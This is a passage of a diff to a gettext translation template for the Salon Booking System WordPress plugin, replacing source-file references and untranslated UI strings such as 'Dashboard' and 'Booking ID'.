build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Futilities\u002Fsettings-sidebar.php:33\n-msgid \"Do you need help ?\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FSummaryStep.php:110\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FSummaryStep.php:110\n+msgid \"Booking data was lost. Please start the booking process again.\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Fcustomers.php:7, views\u002Fadmin\u002F_customer.php:17, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Fcustomers.php:7, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002F_customer.php:17, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fcustomers.php:7, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_customer.php:17, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Fcustomers.php:7, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002F_customer.php:17, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Fcustomers.php:7, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002F_customer.php:17, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Fcustomers.php:7, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002F_customer.php:17\n-msgid \"Add Customer\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:297\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers\u002FBookingsList.php:28\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:297\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers\u002FBookingsList.php:28\n+msgid \"Booking Date\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Fextensions.php:21, src\u002FSLN\u002FAdmin\u002FExtensions.php:20, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Fextensions.php:21, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FExtensions.php:20, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fextensions.php:21, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Fextensions.php:21, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Fextensions.php:21, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Fextensions.php:21, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FExtensions.php:20, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAdmin\u002FExtensions.php:20, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FExtensions.php:20, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FExtensions.php:20\n-msgid \"Extensions\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_Discount\u002FAdmin\u002FDiscountsHistoryList.php:25\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FAdmin\u002FDiscountsHistoryList.php:25\n+msgid \"Booking date\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Freports-dashboard.php:37, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Freports-dashboard.php:37, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:37, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Freports-dashboard.php:27, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Freports-dashboard.php:37, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Freports-dashboard.php:37\n-msgid \"Dashboard\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:438\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPlugin.php:286\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:438\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPlugin.php:286\n+msgid \"Booking Details\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Freports-dashboard.php:42, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Freports-dashboard.php:42, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:42, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Freports-dashboard.php:32, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Freports-dashboard.php:42, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Freports-dashboard.php:42\n-msgid \"Date Range:\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:79\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FMetabox\u002FBooking.php:31\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:79\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FMetabox\u002FBooking.php:31\n+msgid \"Booking details\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Freports-dashboard.php:45, src\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:489, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Freports-dashboard.php:45, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:45, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:489, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Freports-dashboard.php:35, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Freports-dashboard.php:45, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Freports-dashboard.php:45, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:489, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:476, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:489, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:489\n-msgid \"Yesterday\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_Discount\u002FAdmin\u002FDiscountsHistoryList.php:27\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FAdmin\u002FDiscountsHistoryList.php:27\n+msgid \"Booking discount\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Freports-dashboard.php:46, src\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:490, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Freports-dashboard.php:46, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:46, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:490, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Freports-dashboard.php:36, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Freports-dashboard.php:46, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Freports-dashboard.php:46, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:490, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:477, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:490, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:490\n-msgid \"This Week\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:640\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:640\n+msgid \"Booking draft updated.\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Freports-dashboard.php:47, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Freports-dashboard.php:47, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:47, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Freports-dashboard.php:37, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Freports-dashboard.php:47, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Freports-dashboard.php:47\n-msgid \"Last 7 Days\"\n+#. %s is the booking customer name\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FMetabox\u002FBooking.php:615\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FMetabox\u002FBooking.php:615\n+#, php-format\n+msgid \"Booking for %s has been moved to trash.\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Freports-dashboard.php:48, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Freports-dashboard.php:48, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:48, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Freports-dashboard.php:38, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Freports-dashboard.php:48, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Freports-dashboard.php:48\n-msgid \"Last 30 Days\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_customer.php:388\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_customer.php:388\n+msgid \"Booking history\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Freports-dashboard.php:49, src\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:492, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Freports-dashboard.php:49, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:49, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:492, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Freports-dashboard.php:39, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Freports-dashboard.php:49, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Freports-dashboard.php:49, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:492, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:479, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:492, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:492\n-msgid \"This Month\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmail\u002F_booking_info.php:30\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002F_booking_info.php:30\n+msgid \"BOOKING ID\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Freports-dashboard.php:50, src\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:493, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Freports-dashboard.php:50, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:50, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:493, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Freports-dashboard.php:40, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Freports-dashboard.php:50, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Freports-dashboard.php:50, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:493, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:480, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:493, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:493\n-msgid \"Last Month\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table_rows.php:7\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers\u002FBookingsList.php:27\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table_rows.php:7\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers\u002FBookingsList.php:27\n+msgid \"Booking ID\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Freports-dashboard.php:51, src\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:494, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Freports-dashboard.php:51, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:51, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:494, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Freports-dashboard.php:41, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Freports-dashboard.php:51, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Freports-dashboard.php:51, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:494, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:481, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:494, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:494\n-msgid \"This Quarter\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:260\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:260\n+msgid \"Booking ID.\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityBooking_Controller.php:52\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityBooking_Controller.php:115\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:52\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:106\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:160\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityBooking_Controller.php:52\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityBooking_Controller.php:115\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:52\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:106\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:160\n+msgid \"Booking id.\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Freports-dashboard.php:52, src\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:496, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Freports-dashboard.php:52, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:52, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:496, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Freports-dashboard.php:42, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Freports-dashboard.php:52, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Freports-dashboard.php:52, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:496, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:483, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:496, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:496\n-msgid \"This Year\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPlugin.php:233\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPlugin.php:233\n+msgid \"Booking ID:\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Freports-dashboard.php:53, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Freports-dashboard.php:53, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:53, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Freports-dashboard.php:43, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Freports-dashboard.php:53, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Freports-dashboard.php:53\n-msgid \"Custom Range\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fcancel_booking.php:39\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fcancel_booking.php:39\n+msgid \"Booking is cancelled\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Freports-dashboard.php:59, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Freports-dashboard.php:59, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:59, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Freports-dashboard.php:49, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Freports-dashboard.php:59, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Freports-dashboard.php:59\n-msgid \"From:\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_booking_status.php:37\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_status.php:37\n+msgid \"Booking is not available at the moment, please contact us at \"\n msgstr \"\"\n \n-#: 